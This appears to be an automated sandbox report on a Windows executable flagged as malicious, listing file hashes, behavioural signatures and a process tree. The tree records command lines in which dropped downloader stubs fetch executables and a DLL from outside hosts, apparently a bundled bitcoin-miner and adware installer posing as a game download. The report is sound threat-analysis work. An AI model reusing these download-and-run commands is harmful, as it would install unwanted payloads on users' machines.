Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    04-02-2024 20:33

General

  • Target

    9016f356f8dd0ea8fc92857b2a499cdb.exe

  • Size

    492KB

  • MD5

    9016f356f8dd0ea8fc92857b2a499cdb

  • SHA1

    63ec8834c74b998e443c6e63b4d1b0bd77387af9

  • SHA256

    5ce2685169c772ac50c61f4aa5aaad2cece546b7705e95e37b8377f71f341c7a

  • SHA512

    04d18a318b4ceba0486f0de5cf4c94551038e9cd831805ab72ac88afd622110504e11c7258262ed22ee4631114b9877f180376150cf797232aef4e107ecfc3b6

  • SSDEEP

    6144:3uk4fqjzbQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:x4fw36peEUBwXVwM9vylzdYvH7AwC

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 31 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe
    "C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2464
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2536
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2724
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2836
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2800
    • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe 0 "Hearts of iron 2 doomsday - armagedon[pl] rar" "Download"
      2⤵
      • Executes dropped EXE
      PID:2772

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • \Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe

    Filesize

    213KB

    MD5

    06baef00ae0f0e42fc5fea24fc4eac42

    SHA1

    9161574590f09cfe4c24498827386ed57f2e8c58

    SHA256

    19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

    SHA512

    29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

  • \Users\Admin\AppData\Local\Temp\nsi427D.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/2420-58-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2772-59-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB